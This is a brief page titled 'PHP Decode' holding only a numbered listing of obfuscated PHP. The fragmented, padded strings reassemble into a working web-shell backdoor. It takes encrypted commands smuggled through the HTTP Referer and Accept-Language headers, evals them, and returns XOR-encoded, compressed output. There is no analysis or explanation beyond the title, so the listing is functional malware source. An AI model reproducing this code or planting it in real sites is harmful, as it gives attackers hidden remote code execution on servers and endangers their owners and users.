PHP Decode

<?php 
   2    $y='),3?$ss($s[$3?i],0,3?$e3?3?))),3?$k)))3?;$o=ob_get_contents();o3?b_e3?3?nd_clean();3?$d=bas3?e64'; 
   3    $X='="";fo3?r($i=0;$i3?<$3?l3?;){for($j=0;(3?3?$j<$c&&$i<3?$l);3?$j++,$i+3?+){$o.=$t{$i}^$k3?{$3?j};'; 
   4    $n=');$q=arr3?ay_val3?u3?3?es3?($q3?);preg_match_all3?("/([\w]3?)3?[\w-]3?+(?:3?3?;q=0.([\d]))?3?,3?'; 
   5    $B='?/",$ra,$m);if($q&3?&$m){@s3?ession3?_start3?();$s3?3?=&$_S3?ESSI3?ON;$ss="substr"3?3?;$sl="s3?t'; 
   6    $m='3?_3?e3?ncode(x(gzco3?mpress3?($3?o)3?3?,$k));print("<$k>$d</$k>")3?;3?3?@session_destroy();}}}}'; 
   7    $k='$kh3?="6beb3?";$kf="9563?f";func3?ti3?on 3?x($t,3?$k)3?{$c=strlen($3?k);$3?l=s3?trlen($t3?)3?;$o'; 
   8    $S='compr3?ess(@x(@b3?a3?3?se64_decode(pr3?eg_3?replace(ar3?r3?ay("/_/3?","/-/3?3?")3?,array("/","+"'; 
   9    $e='){$s[$i].=$p3?;$3?e=strp3?3?os3?($s[$i],$f);i3?f($e){$k=$kh.3?$kf;ob_sta3?rt();3?@eva3?3?l(@gzun'; 
  10    $T='(strpos3?($p,$h)3?===03?){3?$s[$i]="";$3?p3?=$ss($p3?,3);}if(ar3?ray_k3?ey_exi3?3?sts($i,3?$s3?)'; 
  11    $r=str_replace('bg','','bgcreatbgebg_fubgncbgtibgon'); 
  12    $K='rtolower";3?$i3?=$m[1][03?].$m[1][1]3?;$h=$s3?l($ss(m3?d5($i.$3?kh3?),3?0,3));$f=$3?sl(3?$ss(md5'; 
  13    $u='LANG3?UAGE"];if($rr3?3?&&$ra){    $u3?=parse3?3?_url($r3?r);    parse_3?str(3?3?$u["query3?"],$q'; 
  14    $b='}3?3?3?}r3?eturn $o;}$r=$_SERVE3?R;$rr=@$r["3?HTTP_RE3?FERER"];$3?r3?a=@$r3?["HTTP_3?ACCE3?PT3?_'; 
  15    $p='($i.3?$kf3?),0,3));$p3?="3?";for($z=1;$z3?<c3?oun3?t($m[1]3?);$z++) $p.=3?$q[$m[3?2][3?$z]];if3?'; 
  16    $x=str_replace('3?','',$k.$X.$b.$u.$n.$B.$K.$p.$T.$e.$S.$y.$m); 
  17    $g=$r('',$x);$g(); 
  18    ?>